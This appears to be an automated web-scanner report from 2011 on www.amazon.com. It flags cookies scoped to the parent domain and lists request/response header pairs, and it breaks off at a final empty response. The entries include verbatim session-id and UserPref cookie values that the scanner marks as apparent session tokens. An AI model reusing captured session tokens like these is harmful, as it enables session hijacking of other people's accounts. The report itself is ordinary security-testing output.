HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:03:34 GMT Server: Server x-amz-id-1: 1X3EPAT3ZMNVCSGSMBAN p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: XWFESHf4LDfW4Q4jtyPNlMZUcPixPfxkYZBCrWieQtkwWSKt/X54SoeJ/bATZoKW Vary: Accept-Encoding,User-Agent Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=187-6920967-0553225; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Content-Length: 508145
The following cookies were issued by the application and is scoped to a parent of the issuing domain:
session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
session-id=184-9752175-3585404; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /b/ HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 NotFound Date: Mon, 24 Jan 2011 16:03:36 GMT Server: Server x-amz-id-1: 1Z8842RFJJQ53HA29PKK p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: Thz+3TyDFYah1x3ei6oQr/mo+vx0XErnPjJ/ljJngQIg1o7JCKD0eSlBevy55XTo Vary: Accept-Encoding,User-Agent Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=184-9752175-3585404; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Content-Length: 16144
The following cookies were issued by the application and is scoped to a parent of the issuing domain:
session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
session-id=175-9805255-9723637; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /books-used-books-textbooks/b HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 NotFound Date: Mon, 24 Jan 2011 16:03:25 GMT Server: Server x-amz-id-1: 0PN0C1SZEXY20ARQ0EZ7 p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: Crev47aQfB2uqb2X//rUO4Hxdev3PyQ/5jNKWV00peXpTx5B0oH6Vgmw1c8EiiK+ Vary: Accept-Encoding,User-Agent Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=175-9805255-9723637; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Content-Length: 16144
The following cookies were issued by the application and is scoped to a parent of the issuing domain:
session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
session-id=188-3368164-3583051; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
UserPref=cNF169Ic3p+FLZlmECYIuJwUEnmMidNZpqOMXJlzFfyGkoLR/f0WF8vs6ZQU5HX+qBwE7qqoL3t9fdNtjPj3gyYsZ9OPP64Bj28wuj43iGA+RQm2aZs0leyoMSaGWoAmLLFT4m57m2mg/M9gT8m8zgH4Tc7xnQpx7XV0ybHDfWS2rJ30owc8Rfy1J4pUKTmIEUgNrK9xS2pwjtjSqsQvCH98yL0TxvhtC5sb3N+5Hsbf09QrIa+pq7nenC2PQqxud5/rAY2tUqp08BC6AQqUm9FRfG4U//pmCE8P+Nf4Ay6b7r0qWful6/GAXYGc9NJ8UFNtl8lIxNbvvKSGUwWxMFhHe2yFoXqfgLXGtAif6/GMRqdmxDwAFvFgrcU5U0NDFanauf5u8xPOR/t4Rw9yAVQVnhKW/N98x8jGOU9360lRgvHsw0R7W92mPEKiYj0h57Jn/qFxIY4=; path=/; domain=.amazon.com; expires=Tue Feb 01 14:06:18 2011 GMT
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /dp/0313363153?tag=parenthoodcom-20&camp=211493&creative=379981&linkCode=op1&creativeASIN=0313363153&adid=1E43GGA9XAJKCAEXAPNZ& HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 14:06:18 GMT Server: Server x-amz-id-1: 1XEKQW5VKEVTKXS2HSJA p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: XeWIrG239x/NdCZhKVLDJEcUlefLzu6eYfgdzbR7oX4dl76GDeDVLHHKaEiGy4dJ Vary: Accept-Encoding,User-Agent nnCoection: close Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=188-3368164-3583051; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: UserPref=cNF169Ic3p+FLZlmECYIuJwUEnmMidNZpqOMXJlzFfyGkoLR/f0WF8vs6ZQU5HX+qBwE7qqoL3t9fdNtjPj3gyYsZ9OPP64Bj28wuj43iGA+RQm2aZs0leyoMSaGWoAmLLFT4m57m2mg/M9gT8m8zgH4Tc7xnQpx7XV0ybHDfWS2rJ30owc8Rfy1J4pUKTmIEUgNrK9xS2pwjtjSqsQvCH98yL0TxvhtC5sb3N+5Hsbf09QrIa+pq7nenC2PQqxud5/rAY2tUqp08BC6AQqUm9FRfG4U//pmCE8P+Nf4Ay6b7r0qWful6/GAXYGc9NJ8UFNtl8lIxNbvvKSGUwWxMFhHe2yFoXqfgLXGtAif6/GMRqdmxDwAFvFgrcU5U0NDFanauf5u8xPOR/t4Rw9yAVQVnhKW/N98x8jGOU9360lRgvHsw0R7W92mPEKiYj0h57Jn/qFxIY4=; path=/; domain=.amazon.com; expires=Tue Feb 01 14:06:18 2011 GMT Content-Length: 369008
The following cookies were issued by the application and is scoped to a parent of the issuing domain:
session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
session-id=176-7210136-6598218; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
UserPref=y3NkdEGeLcNmXCUiBl72zia0IgOUlzJisM6ejtj6++wAzjFW+0MbDLrBrMTYId5ScAAIGSpPr8ov4wvfMrz16qkoExEE846LElBHdCDq1wJ5G3PyH/8+t8ULEiTMRJzZ+/UmohvS0s1wbtQLhB5tRJaj+v9Qvdikv5wA8Z+9BSaQuNwa25tYVL3brZaSaxoPnkAsz7sFby/Vm3IEdAyCOCgmDlA7LSKWp7BGexnTvAm3XJETeqxNVJ4XDLyzD9mn489zuGO7Hr1Q5jDtdTkD7MsDhmN6H6NA+BAMoVhXzdj8ywD6RaU+CKSyhgSibHDJfiAf99mXgDVIui4kc0MR8MKRTBSKmuzQBaMCl0Pf98laS7P8B1wibfy99GA8Gxn4ZYxd9IYn+0IOEpAUVtWvSy3VhH2tV4F6FYuFOflVaV1k+o8nZAdjmsVsH/6mMkOtJfcsZt8CR0o=; path=/; domain=.amazon.com; expires=Tue Feb 01 14:05:31 2011 GMT
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /dp/0814410960?tag=parenthoodcom-20&camp=211493&creative=379981&linkCode=op1&creativeASIN=0814410960&adid=1E43GGA9XAJKCAEXAPNZ& HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 14:05:30 GMT Server: Server x-amz-id-1: 0V1X9WNQCM47PDADFQGC p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: SKWOpw071+vUvE/zvz84QekiVG202hXgMiv2MgQFljVkajAJe9OwpyfODLjeHTmR Vary: Accept-Encoding,User-Agent nnCoection: close Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=176-7210136-6598218; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: UserPref=y3NkdEGeLcNmXCUiBl72zia0IgOUlzJisM6ejtj6++wAzjFW+0MbDLrBrMTYId5ScAAIGSpPr8ov4wvfMrz16qkoExEE846LElBHdCDq1wJ5G3PyH/8+t8ULEiTMRJzZ+/UmohvS0s1wbtQLhB5tRJaj+v9Qvdikv5wA8Z+9BSaQuNwa25tYVL3brZaSaxoPnkAsz7sFby/Vm3IEdAyCOCgmDlA7LSKWp7BGexnTvAm3XJETeqxNVJ4XDLyzD9mn489zuGO7Hr1Q5jDtdTkD7MsDhmN6H6NA+BAMoVhXzdj8ywD6RaU+CKSyhgSibHDJfiAf99mXgDVIui4kc0MR8MKRTBSKmuzQBaMCl0Pf98laS7P8B1wibfy99GA8Gxn4ZYxd9IYn+0IOEpAUVtWvSy3VhH2tV4F6FYuFOflVaV1k+o8nZAdjmsVsH/6mMkOtJfcsZt8CR0o=; path=/; domain=.amazon.com; expires=Tue Feb 01 14:05:31 2011 GMT Content-Length: 398021
The following cookies were issued by the application and is scoped to a parent of the issuing domain:
session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
session-id=183-0598759-1123006; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
UserPref=5+EPReZ8AKa7WMIFgy9cHbJVm/9tgaQgv25tnd2EAaj3A2TcoX3BYNQp+U2mBhaH6NNnCCgyjvtkzGGKQPpSQ8YmQMO5JCKLveLlxt9MugLIEpGsQ9/N5+Fno+1FBJOzE7k6DdNtiYO1TD+phGkOUWQ/bAQscWvK7bSH45/y7GXOXIwlbx9HtoYer2qT3bQI/XgRYyDrwUk/3MaxWfXupPISlccJHK+MMD1RlV2PpGnjij8hwxwPu8lFWY2ZyFBuWpfgJTPLmLB81bUuXAJVuEItWLbeo9hG152TFm3xHDssaIPB8rAFW82FLjl1caASZ+3mXZbbwjY5FdvZ3bSUoEYv4rJBnYTCCcuaPY0qDbp0lBhPOVi0eyvDVbNk4+/Hftrx7HmCu7QjCyC5NYd3aS1DdMQsjfynRE0x7QVCx6RwexxPari5JWk0LW4Q/jcI4R+KwxWl55I=; path=/; domain=.amazon.com; expires=Tue Feb 01 14:04:26 2011 GMT
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /dp/B000EFAO1G?tag=parenthoodcom-20&camp=211493&creative=379969&linkCode=op1&creativeASIN=B000EFAO1G&adid=0GZGV3PX406SYA9DGF7Q& HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 14:04:26 GMT Server: Server x-amz-id-1: 09N75F9VXRTTHCJ6W4N0 p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: BhM/yiIeeNmHNPnM+XNOpz2cQi2I5DL2kxxjVh9EGVEK3Otk7l2KJ92BEBUF6OSA Vary: Accept-Encoding,User-Agent nnCoection: close Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=183-0598759-1123006; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: UserPref=5+EPReZ8AKa7WMIFgy9cHbJVm/9tgaQgv25tnd2EAaj3A2TcoX3BYNQp+U2mBhaH6NNnCCgyjvtkzGGKQPpSQ8YmQMO5JCKLveLlxt9MugLIEpGsQ9/N5+Fno+1FBJOzE7k6DdNtiYO1TD+phGkOUWQ/bAQscWvK7bSH45/y7GXOXIwlbx9HtoYer2qT3bQI/XgRYyDrwUk/3MaxWfXupPISlccJHK+MMD1RlV2PpGnjij8hwxwPu8lFWY2ZyFBuWpfgJTPLmLB81bUuXAJVuEItWLbeo9hG152TFm3xHDssaIPB8rAFW82FLjl1caASZ+3mXZbbwjY5FdvZ3bSUoEYv4rJBnYTCCcuaPY0qDbp0lBhPOVi0eyvDVbNk4+/Hftrx7HmCu7QjCyC5NYd3aS1DdMQsjfynRE0x7QVCx6RwexxPari5JWk0LW4Q/jcI4R+KwxWl55I=; path=/; domain=.amazon.com; expires=Tue Feb 01 14:04:26 2011 GMT Content-Length: 378947
The following cookies were issued by the application and is scoped to a parent of the issuing domain:
session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
session-id=183-9936733-9404845; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
UserPref=gpJo3CBiqTqDVIjaNvl4zvNYaep1x/cFw36XGdvu+t3AZoNYj5i0ue/20d7C2ZC+I33rSpZQv0bL0wk1Ew8YoO+rtNcIBPKLYOhOlxvFtzRIdn3kvGu6M4tMOkmBEeryBbTVlsJzSNcfMpAFM/xng7ZCP9yYT0m2OdKey3rxmCeD+Fl0AmJvQvFSHWkk425/o8Da9DpaI74WLGaJ7uNOvo6JLwZb5sYP9TvVnm5hmJQsWKXZoF2OyiWVivGgzTAUd6pRUIbYAZkt1sGVL+jil+zZfxZVnjBewrBhOy9v7AhUD8T6SoAGbb4KE5ZJBYWH2OXsSjuLHVIc52YxHzs6raEMD1dV4RY1XTDpsD0MSkGHFH6QBIcq1zDxTwlTMAha08n0zKNwM+cU9SxT/rymeyJe0yjBe5km9qvYTfgoBDkuOc+G0APo8cpXuSfIyagOnBt68PFK8so=; path=/; domain=.amazon.com; expires=Tue Feb 01 14:05:21 2011 GMT
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /dp/B001AIM6V2?tag=parenthoodcom-20&camp=211493&creative=379981&linkCode=op1&creativeASIN=B001AIM6V2&adid=1E43GGA9XAJKCAEXAPNZ& HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 14:05:20 GMT Server: Server x-amz-id-1: 0JE81R4J15T5AK071TZV p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: 4o8GRyUKmn3DkY5PnyV64O2bpKKjAgNwr+I4JvwWlUHgakGrnSAutbBsj2pwvLzy Vary: Accept-Encoding,User-Agent nnCoection: close Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=183-9936733-9404845; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: UserPref=gpJo3CBiqTqDVIjaNvl4zvNYaep1x/cFw36XGdvu+t3AZoNYj5i0ue/20d7C2ZC+I33rSpZQv0bL0wk1Ew8YoO+rtNcIBPKLYOhOlxvFtzRIdn3kvGu6M4tMOkmBEeryBbTVlsJzSNcfMpAFM/xng7ZCP9yYT0m2OdKey3rxmCeD+Fl0AmJvQvFSHWkk425/o8Da9DpaI74WLGaJ7uNOvo6JLwZb5sYP9TvVnm5hmJQsWKXZoF2OyiWVivGgzTAUd6pRUIbYAZkt1sGVL+jil+zZfxZVnjBewrBhOy9v7AhUD8T6SoAGbb4KE5ZJBYWH2OXsSjuLHVIc52YxHzs6raEMD1dV4RY1XTDpsD0MSkGHFH6QBIcq1zDxTwlTMAha08n0zKNwM+cU9SxT/rymeyJe0yjBe5km9qvYTfgoBDkuOc+G0APo8cpXuSfIyagOnBt68PFK8so=; path=/; domain=.amazon.com; expires=Tue Feb 01 14:05:21 2011 GMT Content-Length: 243877
The following cookies were issued by the application and is scoped to a parent of the issuing domain:
session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
session-id=188-3953038-0825847; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
UserPref=bK6rGx+CGyD+cP8GmimTlX4yOKqJEvwu6UnJY2SjL1UcG5vQjcyPPRSMkmQN8sbphtWyqe3kQNCI8rylaXXfj7BtPqZ81YiplXuRUKMy3Z/2mvrL0RV2OkiG88oBA7HbQe9Kd7fvezmpNGVnUs/WKVjx/v0XDHsIO3F31lrklY6f9VkJODasmR+vrmz5jfMxq2bRIKLa3TnEq25JcifPmFz90PVXykz/U8VHJ0uNE7A+Lbt2L2Z/SjjIzqMfkvaEaJ5CGm8K5P8lXwVh0vUHjthXVRSI9Cep53mqSnG9l0pUNqqdm4ZhxMz2Fnam7evwK9iiJKrdcr/H6916sNYxoaW3SE1y+GzhrAbM2j5TccGcCjdm1TEIUPGgRv1ET/0d7xHLJPqSIn5j3GRpNMwhQIwtYGX6XK/au2mTa3txsuMyDFNmteb/ybxsSFJKnNmQPriNDYGWivE=; path=/; domain=.amazon.com; expires=Tue Feb 01 14:04:34 2011 GMT
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /dp/B0037UT1LY?tag=parenthoodcom-20&camp=211493&creative=379981&linkCode=op1&creativeASIN=B0037UT1LY&adid=1E43GGA9XAJKCAEXAPNZ& HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 14:04:34 GMT Server: Server x-amz-id-1: 17DR8YMYSFMRZS8CDJ3Y p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: VnWywM5oGusSEKwA0oEmF9YQZW0sC+3d/bn1D6tOPMIwmjnxiuAhufUUuKPMm5+U Vary: Accept-Encoding,User-Agent nnCoection: close Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=188-3953038-0825847; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: UserPref=bK6rGx+CGyD+cP8GmimTlX4yOKqJEvwu6UnJY2SjL1UcG5vQjcyPPRSMkmQN8sbphtWyqe3kQNCI8rylaXXfj7BtPqZ81YiplXuRUKMy3Z/2mvrL0RV2OkiG88oBA7HbQe9Kd7fvezmpNGVnUs/WKVjx/v0XDHsIO3F31lrklY6f9VkJODasmR+vrmz5jfMxq2bRIKLa3TnEq25JcifPmFz90PVXykz/U8VHJ0uNE7A+Lbt2L2Z/SjjIzqMfkvaEaJ5CGm8K5P8lXwVh0vUHjthXVRSI9Cep53mqSnG9l0pUNqqdm4ZhxMz2Fnam7evwK9iiJKrdcr/H6916sNYxoaW3SE1y+GzhrAbM2j5TccGcCjdm1TEIUPGgRv1ET/0d7xHLJPqSIn5j3GRpNMwhQIwtYGX6XK/au2mTa3txsuMyDFNmteb/ybxsSFJKnNmQPriNDYGWivE=; path=/; domain=.amazon.com; expires=Tue Feb 01 14:04:34 2011 GMT Content-Length: 440777
The following cookies were issued by the application and is scoped to a parent of the issuing domain:
session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
session-id=176-7992041-7051429; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /dvds-used-hd-action-comedy-oscar/b HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 NotFound Date: Mon, 24 Jan 2011 16:03:30 GMT Server: Server x-amz-id-1: 0HWNJZZ0K25G6APS0SCV p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: PlF2/QEU0gca0keikYl5AAloXjb8+bYTwS4SenUAsR2Hj9g7OaMuaVTR9h/a5nWz Vary: Accept-Encoding,User-Agent Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=176-7992041-7051429; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Content-Length: 16144
The following cookies were issued by the application and is scoped to a parent of the issuing domain:
session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
session-id=180-2179319-0570468; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /gp/css/homepage.html/x22 HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 NotFound Date: Mon, 24 Jan 2011 16:03:28 GMT Server: Server x-amz-id-1: 1JYB2VNQP8C55BB9NAK4 p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: 3icGnhgAgfZUWLOZdmzfhDcF9EfU4+FBrZdxGpszK5HnHwSQN6UjuQ== Vary: Accept-Encoding,User-Agent Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=180-2179319-0570468; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Content-Length: 16226
The following cookies were issued by the application and is scoped to a parent of the issuing domain:
session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
session-id=182-2480063-1810947; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /gp/gc/x22 HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 NotFound Date: Mon, 24 Jan 2011 16:03:29 GMT Server: Server x-amz-id-1: 1ARA2838P595NDE5BZ28 p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: NeLbCQZvKIRHPa3udnf+jNalHfYaZDtVVTT+qpr1m3zHmdMhK0a3n/4PuJMtXurr Vary: Accept-Encoding,User-Agent Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=182-2480063-1810947; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Content-Length: 16234
The following cookies were issued by the application and is scoped to a parent of the issuing domain:
session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
session-id=177-3345764-3077262; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
UserPref=1eR/Gb/7VAeIWvMabpkc9WVd0hSTZUbBg6Yo0T7TCpNQeuSuXtGxH2kY6bTAbin+sFXFOKV5+ocOk7K3+MvDkq0/b9bHz0ODJNpZCfzlXrKaMkf2mByUw4O7H6y0HxLzB0zDpXYjvDZIG9tAgupLtlSzvaVuVoeT9Dw57HxRkT1qFd69t1G9yhJCF1dMGn6BtkhaXaKQIwqLrzarx2jcK/uWu/DYGLfPjmFfwQeqDQqf1Pu2Z67u5nMckQSNU+AXG+4uuNDdjSW4U7/7jDdJMbrRu9ZM6nSR6im5LlC77EvTc5TQz8tq18VhoFQQ90njlOAwxtXq+PDB/vmIDD+i66lzV9/NoXGIbcoNaqBVAhvyZOIdxNL/NLFlkx8w8BdoJeoQup2Vg9OErw1DYhMF9610T7Jg13XTgsW4sfARA2h+TBwY5xsP9yVw1aDK1Hh6; path=/; domain=.amazon.com; expires=Tue Feb 01 14:04:19 2011 GMT
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /gp/product/0596804946?ie=UTF8&tag=severdia-20&linkCode=as2&camp=1789&creative=390957&creativeASIN=0596804946 HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 14:04:19 GMT Server: Server x-amz-id-1: 1GMNYJAKA4TJD7BE20PT p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: rRZgZjI7evzN2uK+PGBNvEWrhG1Qajm2TBox690BsTrGBbLn0XvjcMMT1QA/Cp32 Vary: Accept-Encoding,User-Agent nnCoection: close Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=177-3345764-3077262; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: UserPref=1eR/Gb/7VAeIWvMabpkc9WVd0hSTZUbBg6Yo0T7TCpNQeuSuXtGxH2kY6bTAbin+sFXFOKV5+ocOk7K3+MvDkq0/b9bHz0ODJNpZCfzlXrKaMkf2mByUw4O7H6y0HxLzB0zDpXYjvDZIG9tAgupLtlSzvaVuVoeT9Dw57HxRkT1qFd69t1G9yhJCF1dMGn6BtkhaXaKQIwqLrzarx2jcK/uWu/DYGLfPjmFfwQeqDQqf1Pu2Z67u5nMckQSNU+AXG+4uuNDdjSW4U7/7jDdJMbrRu9ZM6nSR6im5LlC77EvTc5TQz8tq18VhoFQQ90njlOAwxtXq+PDB/vmIDD+i66lzV9/NoXGIbcoNaqBVAhvyZOIdxNL/NLFlkx8w8BdoJeoQup2Vg9OErw1DYhMF9610T7Jg13XTgsW4sfARA2h+TBwY5xsP9yVw1aDK1Hh6; path=/; domain=.amazon.com; expires=Tue Feb 01 14:04:19 2011 GMT Content-Length: 407243
The following cookies were issued by the application and is scoped to a parent of the issuing domain:
session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
session-id=192-0833084-3663062; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /gp/site-directory/x22 HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
